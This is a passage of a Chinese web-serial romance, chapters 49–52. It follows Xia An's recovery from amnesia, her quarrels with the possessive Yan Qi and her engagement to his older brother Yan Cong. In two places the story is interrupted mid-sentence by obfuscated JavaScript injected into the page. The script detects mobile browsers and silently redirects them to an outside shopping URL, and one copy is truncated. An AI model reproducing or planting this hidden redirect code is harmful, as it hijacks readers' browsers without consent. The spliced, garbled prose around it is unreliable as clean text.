“我算你家哪门子少爷。”颜祈越过她走过夏桉面前,抬了抬下巴,“人不是在这?” 杨素梅年轻的时候和主家关系好,那时候是真把夏桉当成自己的晚辈疼爱,一路看着她从襁褓婴儿变成伶俐可爱的小姑娘,不由对她的称呼也更亲昵,那些尊称少之又少。 只是从前听着亲切,如今倒有些讽刺。 比起天生冷厉,自带威严的颜淙,杨素梅在面对年纪小的颜祈时却更不从容,这些年她的漠视对颜祈那些举措是一种刻意的助长。 一个光明正大不自知,一个藏形匿影故作虚伪,本质上一样可恶,可躲在暗处的人总是更容易被另一方看穿。 杨素梅没继续待下去,收拾好饭盒主动离开。 颜祈不满坐下:“怎么要她送,家里不是厨嫂吗?” 夏桉垂敛有些疲惫,没有回答他的话。 颜祈像是早有预料,他强装镇定嘴角朝上弯了弯,开玩笑道:“你怎么刚吃完就困了,跟个小猪一样,不会是因为我吧。” 夏桉默了几秒,对他从昨日到医院就开始粉饰太平的行为不甚理解,叹了口气无奈道:“颜祈,你究竟要做什么?” 如果换作以前,夏桉只要装傻充愣就能轻易的在颜祈面前绕开这些摆在面前的难题,可如今她不想再这样做了,人总要长大,她和颜祈都一样。 颜祈脸上凝了一瞬,含含糊糊说:“我没要做什么。” “那你走吧。” “那你跟颜淙退婚。” 颜祈紧随其后,一前一后的对话就像在做基础交易,仿佛他今天不打扰夏桉休息是和让夏桉去跟颜淙退婚是一样简单的事情。 “颜祈,如果你是觉得因为我们订婚没有提前告诉你而生气,我可以和你道歉。”夏桉停顿了会,这样回道。 她话里的意思很明显。 这场由颜祈单发面发起的不公平交易被直接回绝。 颜祈眉宇漫上几分阴沉,对这些没有回旋余地的话感到一丝不可置信的气恼:“那我们呢?” 夏桉看着他带着怒意的脸,竟和小时候一样从未变过。 “我们?” 过往种种都好似在夏桉这两个字的疑问里被全盘否定,五岁初识,八岁生活在同一屋檐下,十六岁三万里来回的漫长航程,夏桉的人生一直在把颜祈排除在外。 颜祈知道她最害怕什么,她亦是如此。 颜祈眼里闪过一丝无措,但他很快放缓神色在心底默默为她找好借口:“怪我,医生说你还没有恢复记忆,是我太心急了。” “可是我们在蓝月岛的时候不也在一起了,桉桉,你说我们是不是注定......”颜祈说到这的时候眼里蓄满笑意,好像发现了什么神奇又恍然的事情。 夏桉就算一开始不清楚自己的感情,难道到现在还不明白吗,他们哪怕都失忆了也还是会爱上彼此,从一开始他们的爱就是相互的。 十九岁,爱意还不曾隐晦,他们在落日黄昏时接吻,握着对方的手相依为命,切实的耳鬓厮磨过。 这种后知后觉的领会让颜祈内心刚涌上一丝激动,却转瞬又被打破。 “那不是我们。”夏桉一字一顿打破他的遐想,“你不是平南,我也不是珍珠,一切都是假的。” ...... 夏桉对颜祈愤怒离去早有预料,她没有再管,有些话已经说的足够清楚。 王淑华单独住在一间向阳的单人病房里,光线通透,瘦小枯槁的身体陷在纯白棉被里,眼窝凹陷。 二妞从夏桉的背后走上前,对身着条纹病服的女孩难为情的扯出一个笑。 “淑华奶奶刚刚还醒着,怎么突然就睡了。” 二妞走向前察看,被夏桉扯住手腕,回头见她无声的摇了摇头。 王淑华还不想面对她。 夏桉不强求,两人轻声出去坐在外面的座椅上,二妞扣着指甲,悄悄打量了她几眼。 “你在这里还习惯吗?”夏桉启唇问道,她记得二妞说不喜欢外面,担忧医院里有人拜高踩低。 “挺好的。”二妞说:“这里的人也很好,昨天还帮我在奶奶旁边安置了一张新的床,方便我照顾她,今天春山哥来给我送了东西,说这里的病房比客厅还要大。” “你习惯就好,要是缺什么你直接和他们说就行了,不用担心。” “这里的东西比我家的还要齐全,哪会不习惯。” 夏桉浅浅笑了一下:“辛苦你了。” “这有什么关系,淑华奶奶以前对我挺好的,况且......”二妞顿了一下,不知道怎么去称呼夏桉。 这一切发生的太快,她还没到王淑华家多久,就来了几个高大的年轻人,穿着跟电视里的保镖似的,后面的事情就跟做梦一样。 她思索踟蹰道:“你别怪她,她就是太想...珍珠,才会那样。” “你那个时候什么都不记得,身上又有被绑过的伤......” 二妞说不下去,不管事实如何,他们就是合着王淑华一起欺骗了夏桉,还把她当作珍珠的替身,这对夏桉很不公平。 这两天她在医院里也听到了一些小道消息,好好的一个千金大小姐,被他们哄骗在贫瘠的蓝月岛生活了那么久。 “不怪你们,是我自己把那些都忘了,你们对我很好。” 那段记忆对夏桉来说其实并没有那么难过,她失去家人十多年,又一直孤独的生活在颜祈的看管之下,蓝月岛的人虽然骗了她,可是救了她是事实,照顾她对她好也是事实。 夏桉不愿在这件事上追究是非对错,只是想知道为何蓝月岛所有人要把她当作珍珠。 “因为愧疚。”二妞往病房那边看去,声音很轻,“那天没有变天。” 那是蓝月岛人最害怕的雷暴雨天气,可后来,每个人都希望那场极端天气能够真正降临。 因为害怕不敢,因为无法承受生命的重量,把责任推给无法控制的天气,是摆脱内疚与煎熬的最好办法。 “她那个时候才六岁。”哪怕发生了十多年,二妞回想起仍不免动容。 “起初淑华奶奶并没有在意,还以为她就是普通的感冒,那时候陈医生还在外面工作,岛上的人有个头疼脑热一般忍忍就过去了,抵抗力差的就吃点药,实在不行就出岛去看,淑华奶奶年轻的时候懂一点药理,一直觉得西医不如中医好,平叔刚建好新房又欠了一屁债,淑华奶奶要强总想快点还完。” “可能她太想省钱了,谁也没想到一个简单的发热会拖成那样,我年纪只比珍珠大几个月,只记得有天下午淑华奶奶突然就跑到阿财叔的家里,求他开船出去。” 一直脾气火爆,热衷于吵架的王淑华第一次露出哀恳哽咽的神情,把在场所有人都吓了一跳。 二妞说到这时扭头深深看了一眼夏桉,“你应该没有见过以前那种老渔船。” “发动机都是从卡车上面拆下来改装的,又小又简陋,安个遮雨棚出海的人就在里面吃住,尽管这样,岛上有的人也不多,阿财叔看了眼天气没敢出船,从家里拿了点药给淑华奶奶让她拿给珍珠先用,可是已经来不及了。” “淑华奶奶那晚把岛上有船的人家都求了个遍,可是没有人敢赌那样的天气,况且连阿财叔都不敢出海,其他人就更不用说,淑华奶奶只能又哭着回去。” “后来......”二妞眼角析出泪花,用力咬了咬唇对夏桉说,“你那么聪明,应该都猜到了。” 暴风雨并没有降临在蓝月岛,小珍珠送出去的时候已经来不及了,所有人判断失误,即便他们没有伤害过那个孩子,可是看着王家此后因为这件事情分崩离析,家破人亡,王淑华变得痴痴傻傻,万念俱灰,所有人都没办法消释自己的内疚。 尤其是王淑华熬不下去开始有自杀念头的时候,大家都在想,如果那天他们赌一赌把小珍珠送出去,事情是不是就不会这样。 可惜没有如果,王家只有王淑华一个人了。 夏桉此刻终于明白王淑华在初次吃药时为何那样抗拒,在王家生活的那段时间,她一直以为是王淑华是没钱才不敢去看医生,但其实这又何尝不是其中一个原因。 王家丧失了所有的劳动力,只剩下一个痛不欲生的老妇人,光是那些外债就能压的她喘不过气来。 王淑华对自己吝啬至极,入夜后灯也不愿意开,却对她已经付出了全部的心力。 她一直熬在那个密不透光的小房间里,直到夏桉醒来站在她的房间门口,终于推开了屋子里唯一的那扇窗户。 夏桉失忆了,成了王淑华的孙女,所有人都想弥补十多年前的那个缺憾。 夏桉抱住一直痛哭在说对不起的二妞,安慰的拍在她的后背:“没关系的,我从来没怪过你们,有时候想想还会觉得有点幸运,我醒来后什么记忆都没有,却没有碰见一个坏人。” “真的吗?”二妞抽泣的从她怀里出来。 “当然啦,你不是也对我很好吗。” 习惯了和颜祈假意周旋,曲意迁就,那段时间对夏桉而言何尝不是一种放空。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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分开时,二妞有些发虚的提了蓝月岛,“我知道这很为难,可是珍...,可是你也在蓝月岛生活了那么久,能不能别让蓝月岛变成那样。” 夏桉回到病房,保镖又站回门前一动不动。 自从她回来,颜淙就安排了人一直守在这里,除了为夏桉单独治疗的医生护士,其余人进来都要被审查一遍。 傍晚时分,颜淙派人送来饭菜,夏桉找二妞一起吃的,发现那边也送了两份一样的,只是王淑华依旧装睡,不愿意见她。 夏桉吃完回房感觉自己体温已经降了很多,她在蓝月岛生活作息固定,洗漱完就躺在床上准备入睡。 脑子混混沌沌想起二妞说的那些话。 ——“你只是太爱他了。” 她爱颜淙? 这些以前她毫不在意的事情,为何会在此刻振聋发聩。 爱不爱的很重要吗? 颜淙不论从哪个方面衡量他都是最佳人选,夏桉不是莽撞行事的人,她也有自己的思量,颜淙不一定会爱她,但是颜淙不会辜负她,他们会成为一对相敬如宾的年轻夫妻。 不辜负就不会伤害,这已是一种幸运。 她相信颜淙,这也是她没有第一时间拒绝的原因。 对过往记忆长时间的空白,已让夏桉忘记究竟是哪一个念头让她下定决心,但这也不重要,颜淙对她爱不爱自己同样不在意,就像她问为什么是自己的时候,颜淙很坦诚的说,他需要一个妻子。 一个从小在他眼皮子下长大的小姑娘,性格外貌、学历家世都刚刚好,这些都不需要他再去了解。 一个刚刚好的夏桉,很适合承担这个角色。 夏桉神游片刻本想理清思路,结果脑子里总是不合时宜的出现某些不该发生的画面,她用力皱了一下眉头,心中郁闷。 一只微凉的手突然覆在她的额头上,夏桉陡然睁开眼,发现颜淙不知何时进来了,眼眸微沉的看着她。 她来不及避开,只能愣愣的对上颜淙的视线。 颜淙测完温度,收回手,“吵醒你了?” “没有。”夏桉坐起来,对他晚上还会过来深感意外。 “小祈下午又过来吵你了?” 夏桉顿了颜淙此行的目的,她已回来两天,颜淙至今没有问过她颜祈的事情。 但颜淙既然找到了她,不可能不知道。 略显冷淡的声音响起:“他和你说什么了?” 50. 第五十章 这是颜淙的权利,他有资格知道自己的未婚妻在岛上都发生了什么。 他听到一些很荒唐的事,现在需要知道夏桉的态度。 那些无端而生的感情,只是失忆的浮生若梦,还是原本就存在所以失忆也念念不忘。 颜淙不喜欢强求,只不过这些年颜祈的所作所为实在让人难以琢磨出他的想法,诚然,颜祈这些年对夏桉的总有种过分的占据,他以为颜祈只是没长大像小时候那样喜欢给自己的玩具做上标记,生怕别人抢走。 可他忘了,颜祈哪怕是面对最喜欢的那个小汽车也只维持了三分钟热度,对待夏桉,却是自始至终。 那夏桉呢? 她对颜祈这种过分举措好像没有展露过强烈的讨厌,是不敢,是适应,还是这正好也是她所需要的? 在来的路上他想起夏桉十五岁时,那时他刚从法国提前毕业回来,看到她短短一年多的时间从稚弱的小姑娘突然就变成了高挑鲜妍的少女,不变的是那白到几乎透明的肤色。 她穿的好像是一条鹅黄色的连衣裙,像初盛的向日葵。 只一眼,颜淙就认出这是颜祈的手笔,夏桉这些年的性子越发恬静,其实更适合湖蓝色,但颜淙喜欢色彩鲜艳的东西,小时候买玩具就爱挑那个最显眼的。 学业繁忙,他已经很久没回来了,两人的交流只剩下一句简单的问候,夏桉乖巧和他打完招呼准备离开。 颜淙停下脚步,看着她问:“你和小祈要去国外读书?” 夏桉沉默的点了点头。 颜淙想起之前的事情,默了几秒道:“又是小祈一个人的决定?如果不想去可以和我说。” 那是夏桉从九岁后第一次从颜祈的身边逃脱,颜淙给的助力。 现在助力依旧在夏桉的眼前,选择颜淙,颜祈什么也做不了,就算他再不同意,可是婚姻的最初本来也只是两个人的事。 夏桉不认为门口的那些保镖没有把听到的话传达过去,而且在一个带着答案来提问的人面前撒谎是一件很愚蠢的事。 “他让我退婚。” “我知道了。”颜淙眸光深长的凝视在她脖颈那条粗陋的链子上,对这个心知肚明的话题不再继续。 他的目光太有实质,夏桉后知后觉才想起脖颈间这条项链,又不敢轻易乱动,欲盖弥彰更显得不打自招,但好在颜淙很快移开目光。 旁边助理悄悄松了一口气,赶忙把手上的袋子放在病床旁边的置物柜上。 夏桉打开,里面是新的手机还有一些她平时用顺手的东西,应该是家里佣人收拾的。 颜淙淡淡道:“学校那边办理了休学,你不用急着回去上课,门外那群人如果不适应,我可以让他们换成女保镖,但是前提是,不管去哪都要跟着你。” “就这样吧。”她出院除了回颜家,其实也无处可去。 颜淙停顿片刻,接着说:“你大伯他们说想来看你,我已经替你回绝了。” “谢谢。” 这一句感谢是由衷的,夏明诚总共和她没见过几回,早年间夏家长辈还在的时候,夏明诚新年时去过一次夏宅,那是夏桉第一次知道原来自己还有个大伯,夏桉祖母那样端庄好体面的一个人,直接当场摔了碗筷。 对于这位血缘关系不亲的大伯,夏桉对他最后的印象还停留在父母的葬礼上。 夏明诚最开始也跟余薇提出过要把夏桉接回去抚养,夏家那样的家业怎么会养不起一个小姑娘,只是余薇都找借口回绝了,再加颜祈吵闹着也不愿意。 半年后,夏明诚再也没有提过此事。 也许是颜淙吩咐过,此后两天杨素梅都没有过来送餐,夏桉又做了一次全身体检准备出院。 王淑华早就脱离了危险,却在面对夏桉时只会装睡,二妞看着夏桉身上裁剪精细的高级连衣裙愣了一瞬,把门带上给她们留下单独空间。 夏桉也不知道要和王淑华说些什么,病房里安静的只剩下从窗户斜打下来的阳光,她记得王淑华房间那扇窗户好像也是在这个位置,可是哪怕是夏天太阳最大的时候光线也不如这样通透。 家里的电压箱烧坏了,王淑华好像还不知道,岛上有人会修吗,秋天她的房间会不会更暗。 可是话到嘴边也不知道从哪里开口,久到夏桉都以为王淑华睡着了,她站起来和王淑华小声告别:“奶奶,我走了,下次再来看你。” 她转过身,突然听见王淑华的声音。 “你走吧。” 王淑华侧头看着窗外的光影,脸上的表情很平淡,“我救了你,你也还了我一条命,谁也不欠谁的,以后不用再来了,我老婆子一个人有手有脚的,饿不死。” 夏桉吸了一口气,强装镇定没有回头:“你好好治疗,不用担心费用的问题。” ...... 颜淙派助理过来办理了出院手续,江州市已经完全进入秋天,黑色宾利开进老宅的时带着地上纷落的枯黄树叶,夏桉闻了记忆里熟悉的味道。 “夏小姐,东西都放回你房间了。”助理打开车门,毕恭毕敬的看着她。 上午十一点,宅子里的人还在各司其职,看见夏桉躬身问候不敢多看,年初回来的时候她的身份还是寄养在颜家的孤女,现在却成了颜淙未婚妻。 夏桉回到房间,感觉这一切比在蓝月岛还不真实。 不久,佣人在门口轻声提醒她下楼吃饭,夏桉一个人在空旷旷的餐厅吃完饭回到房间。 直到傍晚,她也没有在宅子里听到一点动静,就佣人叫她以为又要一个人吃饭的时候,颜祈从隔壁房间走了出来。 两人视线交错了一眼,颜祈睫毛颤抖了两下,夏桉泰然自若移开目光。 这顿饭吃的比中午漫长,水晶吊灯耀着明亮的光,颜祈很小心的朝餐桌另一边看去,夏桉以前都坐在他的旁边。 夏桉脸上的表情没有任何波动,颜祈自以为谨慎的收回目光。 “戒指是你拿走的?”她突然冷不丁的问。 “什么戒指。” 颜祈装作不知,故技重施想要重新粉饰太平:“我送你的太多了,你说是哪个?” “我放在抽屉里那一枚。”夏桉言简意赅。 “没见过。”颜祈克制住神情,垂眸吃了一口,待吞下去用很自然的语气说:“我怎么不知道你还自己买了一枚戒指,买那种东西做什么,不是说手上有东西戴着画画不方便吗?” 夏桉看着他没说话。 颜祈像是被她审视的目光烫了一下,故作轻松,还偏了一下脑袋说:“你这样看着我做什么,难道你以为是我偷的那枚戒指?” 颜祈和她沉默对视着,面上没什么反应,目光却逐渐闪躲:“喜欢戒指你说就是了,又不是不能送你,刚好我最近买了一枚新的,你要的话我也可以给你。” “还给我。”夏桉不愿继续和他装傻充愣。 “我说了我没见过什么戒指,不信你自己去我房间看。” “好。”夏桉从座位上起来,椅子发出轻微的擦响。 颜家规矩严明,佣人们不敢乱拿东西,颜祈一贯把从她那里抢来的东西当作胜利品一样放在房间的琉璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195918|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜里,他也从未送过她戒指。 颜祈终于在此刻绷不住了,被夏桉不假思索要去探查的回答彻底激起:“为什么我送你的东西你从来不会想起,他的你就会记得。” “那破戒指到底有什么好,我送你的哪个不比它大,上面的石头小的快看不见了,你要把它当宝贝一样放在抽屉里,那不是有个柜子专门给你放东西吗?” 就在夏桉以为颜祈又要像以前一样达不到目的就要千方百计的夺取时,颜祈用力闭了一下眼,深吸一口气像在极力克制住自己的情绪。 “夏桉,你会不会太不公平了一点。”他声音变得很轻,低哑又苦涩问她的缘由,“是我一直陪在你的身边,这里是,蓝月岛也是,颜淙他什么都没有做。” 夏桉表现的像看不穿他的想法,在一片无声的沉窒里问:“我不和颜淙在一起,那该和谁在一起,你吗?” 同理置换,珍珠爱过平南,那夏桉有没有爱过颜祈? 现在夏桉把这个回答推给了颜祈,由他自己说出口。 颜祈觉得自己应该要解释的,比如他只是看钢琴老师总是罚她,才会想着要把那本书扔掉,他哪里会知道刚好落在喷泉里,娃娃也是,她总会对它掉眼泪才没收的。 可他却说不出口,他的自以为是早就在不知不觉中伤害了夏桉。 那张永远虚骄恃气神情倨傲的脸终于露出一丝慌张的无措,他扣住夏桉肩膀,语气有些急促的说:“夏桉,你不是说长大了就都懂了吗,你告诉过谢嘉的,你其实什么都知道是不是,你知道我不是故意,我只是…….” 颜祈的话还没说完就被夏桉冷冷打断:“放手。” 她手肘用了劲想挣开,脸色难看到极点,被颜祈蓦然抱住。 “夏桉,你为什么不明白,颜淙他根本就不爱你,他就是把你当作一个工具人,他那种冷血人根本就不懂爱。” “你为什么只记得我的不好,就不记得他的?” 挣扎中,水晶灯的彩光刺了夏桉一瞬,恍惚中她记起九岁的那个下午,颜祈把她推倒在地,她抬起头看到水晶灯照映着他们的影子,每一面都是不同的过去。 “夏桉,你为什么要惹我生气?” “我要给你一点惩罚。” “不听话我会不要你的。” “跟我道歉。” ...... 颜祈对她的语气总是强硬到不能拒绝,他永远摆着上位者的姿态去质问她,不容许夏桉逃离他的视线半步。 她已经闻不到那些海风混着薄荷的气息了。 “所以呢?” “我就应该选你?” 夏桉手撑着他的胸膛,一把狠推他,面色冷的像凛冬深不见底的湖水。 她抬起头,字句清晰,一字一顿像在宣告某种事实:“我恨你!” 他们之间还未曾言明过爱就已经说上了恨,夏桉在爱他之前,恨意就已经贯穿了十年。 颜祈浑身的血液像被抽干,望着夏桉像是从未真正看清她。 夏桉剥开他的手,后退一步,从口袋里把项链拿出来,深褐色的方形小盒裸露在半空中,下一秒,直直的朝下坠落。 “所有的一切都让我恶心!” 方盒的棱角正中大理石地面,劣质的卡扣断裂。 ——‘嗒嗒~’ 莹润的珠子从盒子里滚进桌下,失去踪迹。 她可是颜祈带大的,怎么会不知道哪些话最伤人。 原来,不管是夏桉还是珍珠,她们都不爱颜祈。 没有人会爱颜祈。 51. 第五十一章 夏桉时隔多年回了一次夏家,这里原本是她长大的地方,每一处都积载着儿时的回忆,现在却看不出一丝过往的痕迹。 夏家原在江州市也是有名的清贵人家,只是两代掌权人的相继离世,一落千丈,世事变迁,现在只剩下夏明诚还在万世挂职,勉强维护着早就不存在的门面。 夏宅外部看不出什么改变,内里早已被清空,原来典雅韵致的中式装潢全部改成了欧式轻奢风。 大伯母瞥了一眼夏桉手上的戒指,视线很快收回,“桉桉啊,怎么回来也不打声招呼,早知道不让你大伯去公司了。” “你这是......?”她意有所指的扫了眼后面两个目不斜视的保镖。 夏桉:“我只是想回来拿点东西。” 关于过去她的记忆还有部分缺失,医生说之前的可能是因为记忆深刻所以率先想起,建议她可以去一些熟悉的地方多体验多触碰,刺激大脑全部想起来。 大伯母把她领到一扇小门前,有意嗔怪道:“你这孩子也是,这么多年都不肯回来,你大伯父不知道去接了你多少次,住在别人那终究是寄人篱下,哪有待在我们身边好,还好我把你这些东西都收在了一起,你看看你要哪些,到时候我让你大伯父他们送过去。” “不用,我等下就带走。” 房间内部的结构倒是没变,夏桉记得,这是她小时候放玩具的房间。 “你一个小姑娘怎么拿的动,一家人还讲究什么客气。”大伯母不经意拉过她的手在戒指上面拍了拍,“你哥哥他们大了,大伯父大伯母也老了,以后夏家还不就是靠你们几个互帮互助,你现在跟颜淙订婚又失忆了,可别听信外人那些胡言乱语,终究我们才是一家人。” “谁说我失忆了?” 关于她失踪的事情颜淙一直按着消息私底下派人去调查,就连失忆都是颜淙去蓝月岛那天才知道的,从回来到现在不过一个星期,她又一直在待在集团控股下的私人医院,保密性极强,明面上大家都还以为她在澳洲读书。 夏明诚在万世虽然占着一个不低的位置,但手上没有很大的实权,不过徒有虚名,大家多年没有来往,他竟然能把消息打探到这个地步。 大伯母心虚的把手往回缩了缩,被夏桉一把抓住,假装思考,“大伯母,你们还真是关心我!” “可,可不是嘛。”大伯母不自在的拧了拧手腕,从她不算大的手劲里挣脱,和她隔开一步距离狐疑道:“你没失忆?” 那外面那些人是做什么的,颜淙现在竟然对她如此上心。 “那些烂俗电视剧里的情节,怎么能够相信。”夏桉笑意盈盈,一把将门推开,阴湿霉味扑面而来,以前明亮馨香的玩具房变成了随意堆放的杂物间。 大伯母咂舌一声皱起眉,抬手去扇面前的空气装模作样的咳了两声。 夏桉没和她做过多周旋,让跟来的人把玩具房里的东西都搬回去。 她转身朝自己的曾经的房间走去,大伯母一惊,大步流星的跟上也来不及关上那扇房门,门敞开着,里面摆着两台麻将机,旁边还有一个台球桌,房间里一股厚重的烟味还没散去。 大伯母尴尬的把门关上,不自然的说:“还不是你这孩子不肯回,这房间放着也是放着,你哥哥他们平时应酬多,总要点朋友来家里玩,这不是都没有地方。” “说到底还是老爷子偏心,我们没得到一点好处,到头来连个住的地方也没有,一家人还要挤在这里。” “哪像你那么好命,从小住在颜家那大宅子里,现在马上就要嫁给颜家大公子了,以后......” “那就搬出去。”夏桉不带情绪的打断她,语气难辨好坏。 “大伯父在万世这么多年,身边不至于买套房子的钱都没有,我和颜淙已经说好了,等结婚来了搬到这里来住。” “你——”大伯母脸色僵硬,偏偏夏桉又把颜淙搬了出来,让她说不出半个字。 她自是不信以颜淙的身家还需要和夏桉搬到这里来住,只是暗自觉得真是没看出来,以前娇滴滴的小姑娘如今这么会借用未婚夫的权势。 夏桉回颜家整理了一下午,里面多是一些不值钱的曲谱和旧玩具,但凡有点价值的东西都早就不见了,直到翻到最后一个箱子,从里面找到几盘她从未见过黑色的录影带。 佣人给她从库房内找到一台旧播放器连接到房间的电视上。 磁带左右各倒了一遍,夏桉关上灯,房间只剩下朦胧梦核的蓝光。 她不确定这些老物件是否保存完好,那间屋子看起来已经很多年没人在意,地板上都积了一层厚厚的灰,还有很多不属于之前的东西也一起堆放在里面。 直到第三盘,镜头吱吱呀呀终于有了些声响,屏幕闪了几下,右下角标注着日期,一个躺在摇篮椅里的婴儿出现在画面中间,旁边传来的熟悉的声音。 “睁眼,睁着呢。” “真漂亮” “啪啪——” 旁边传来轻拍鼓掌的声音。 “桉桉,妈妈,妈妈在这边。” “看这边~” 旁边的一群人发出愉快的笑声。 外婆轻轻抱起她坐在沙发上,大人们都凑过去一起逗她笑,对这个家族里唯一的孩子满怀爱意。 眼前的画面碎成一片片斑驳的破影,夏桉抱肩伏在膝上无声落泪,这些年的隐忍委屈像决堤的洪水,肆意泛滥。 磁带接近结尾,夏桉擦了擦眼泪起身放入一盘新的。 钢琴曲的声音先传入耳,画面微动被调转一面,年轻漂亮的女画家俏皮的皱了下鼻,笑着用指尖指了指后面,英俊儒雅的男人坐在贝希斯坦三角钢琴前指尖飞舞,一个穿着鹅黄色公主裙的小姑娘坐在他旁边,调皮的用小手在钢琴上搞破坏。 男人完全没有被打乱节奏,还偏头对着女孩做了个鬼脸。 画面移到钢琴的前面,小姑娘看到妈妈不受控制的露出笑容,女人伸指在嘴前做了个手势,提醒她不要捣蛋,然后把镜头放在了三角琴上,画面对准他们三人,女人将小姑娘抱在怀里和男人一起四手联弹。 屏幕又一次暗了下去,夏桉的神情隐在黑暗里,终于把过去全部想了起来。 录像带里的音乐重复播放,夜色昏寂,颜祈在门口沉默了很久,想起这首曲子夏叔叔小时候还教过他们一起学习,只是那时候他们两个总是看不对眼,谁也不肯认真学。 没想到时隔多年,关系兜兜转转又回到了最初夏桉不喜欢他的样子。 房间里的声音彻底静了下去,颜祈握着发热的门把手迟疑的推开门,闪着雪花点的电视机只剩下一点轻微的电流声,夏桉纤瘦单薄的身影坐在光亮的中间一动不动,光影散落,细细描绘着她清丽淡然的眉目。 颜祈在原地忖了半晌,慢慢试探着走过去。 “就算恨我,也不能不吃饭吧。”从上午带着那一堆破烂回来就把自己锁在房间里,他怎么不记得自己还教过夏桉这样。 无声中,夏桉静静的看着满是雪花点的屏幕,对 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夏桉抬起脸,湿红的眼角在望见那一张熟悉的脸时,溢满的泪水再也盛不住,她声音碎哑的开口,像在惋惜的困惑:“你为什么不是他?” 颜祈怔住,肋骨两侧突地传来一阵钝痛,从医院就被夏桉反复推拒忽略的情绪终于在此刻绷不下去,他目光阴沉的盯着夏桉手上的戒指,昨晚才还给她,今天就要迫不及待的戴到手上出去给人看。 气不过一般抓住她的手咬牙切齿的质问出声:“你就真的那么喜欢他?” “颜淙他到底有哪里好?” “为什么要恨我,就算我小时候吓唬过你,把那本琴谱丢进了喷泉里,可是我不是送了你很多新的吗,吃的穿的用的,我全都给了你最好的,还给你送了那么多礼物,你失踪也是我第一个上岛去找的你,颜淙他根本就不知道,你凭什么这样对我?” 颜祈不甘心的看着她,睫根湿润,就算他千不好万不好,可是在蓝月岛那些日子他没有做过那些事情,夏桉为什么也不记得了。 他难以理解,她不是会在梦中叫他的名字吗? 他难道对夏桉还不够好?她为什么说要恨他? 他不过就是小时候做了和谢嘉一样的事,怎么就恨了? 他对她费了那么多的心思,可是夏桉为什么却总在他和颜淙身上区别对待,她愿意接受和颜淙订婚,却只会他说那些让人伤心的话,像条养不熟的白眼狼。 这一切是不是太不公平,颜淙小时候教训过他那么多回,他也没有说恨过颜淙,怎么自己只是惩罚过她一次,又没真的打她,夏桉就要说恨他。 窗外呜咽作响的夜风席卷着这座老宅的每一个角落,空气一点一点变得沉窒,江州市的秋天永远都是这样,荒凉枯败的寒风不会放过梧桐枝杈的每一片树叶。 夏桉看着那双在暗色中愈发清炯的眼,痛苦的移开脸。 颜祈悄悄向前挪了一点将她禁锢在怀里,下巴抵上肩头,温热的呼吸拂过她的颈窝,喃喃怨道:“你怎么能恨我呢?” “桉桉,你不能这样对我。” 夏桉疲惫不堪,感受到那双骨骼分明的手在小心翼翼的用力收紧臂弯,没做无谓的挣扎,她已经记不清颜祈是哪一天更改了对她的称呼。 那个颜祈最讨厌的夏桉怎么就变成了他的桉桉。 52. 第五十二章 颜祈把电视关上,侧身从门里出来被颜淙的眼神吓了一跳。 他本能挡在门前,手握着身后门把手又上了一层防护装置生怕颜淙也进去,开始护食,“她已经睡了。” “不知悔改。”颜淙黑沉沉的一双眸如古井般肃穆,充满警告的意味。 小时候颜淙把他赶回房间又突击回来检查时也对他说过这样的话,却远不如现在凌厉。 颜祈唇抿的平直,被激起情绪:“她本来就是我的!” 夏桉来颜家第一个见到的是他,朝夕相处的是他,在蓝月岛爱的也是他,所有的天时地利都在证明这件事情。 “但她订婚的是我。”颜淙语气波澜不惊,轻而易举就将局面翻转,他拧起眉万分不解颜祈为何会变成这样,颜家注重礼法,颜祈却在这件事情上一而再的逾越界限。 他们两个都是颜淙从小看着长大的,颜淙深知颜祈的秉性,胡搅蛮缠的恶劣,肆意惯了。 颜祈胸口里闷着一口气,梗着脖子不甘示弱:“那是因为她根本就不知道喜欢的是谁,订婚了又怎么样,不是还没结婚。” “她是我带大的,我都还没同意,你们定什么婚!” “江州市那么多女人,你偏要和我抢她。” 颜淙再竭力压制也被他这一番话引起怒意:“颜祈。” “本来就是。”少年的恼怒毫不掩饰,哪怕他近几年因为某些事情一直有在暗暗模仿颜淙,可本质上还是年轻气盛耐不住性子,“都怪你,要不是高中的时候你非要拆散我们,哪来的机会横插一脚。” “你是不是从那个时候就已经盯上她了,现在在这里装的自己有多么道德高尚,你如果真的爱她怎么她失踪了都不知道,现在在这里装好人,你别以为我不知道你想要什么。” 佣人们悄声从房门退了出去,不敢发出动静招惹楼上的两个人。 颜淙浅褐色的瞳仁盯牢他,残忍的揭破假象,“她如果真的那么需要你,为什么高中愿意一个人去法国?” 颜祈逞强:“还不是你,非要把她送过去。” “真是长不大。” 颜淙冷睇他的表情,对颜祈过早显露的外厉内荏感到失望,这几年竟然没有一点长进,“别自欺欺人了,你这样的表情太容易让人看穿你现在一张筹码也没有。” -- 王淑华出院的时候已经立冬。 江州市的夏天和冬天总是格外漫长,漫长的热和无尽的冷是这座城市永恒的主题,这一年夏桉没有窥见夏的来意,只抓住了秋的末尾就转瞬进入冬天。 云上旷远,医院里那棵老树已经落光枝叶,她不知道蓝月岛的冬天是否也是这样,于是给王淑华准备了很多过冬的物品。 只是王淑华通通都没收,让春山告诉她拿去退了。 “买都买了,怎么退。”颜祈才不管,他也没有这种习惯,让人把东西都塞到那辆旧面包车里,果断的关上后备厢。 春山无奈的将颜祈往旁边拉,从口袋里谨慎地掏出一方手帕打开,“这是长风让我带给你的,说东西太贵重了他不敢要。” “他没告诉你们这是我自愿给的?”颜祈没接。 “就算是谢礼你也不能送他这么贵一块表,再说了,这东西放他身上也不安全。”春山看着手里那一块工序精妙的腕表,真是没想到就这么一块小小的玩意竟然要半套房子的价格。 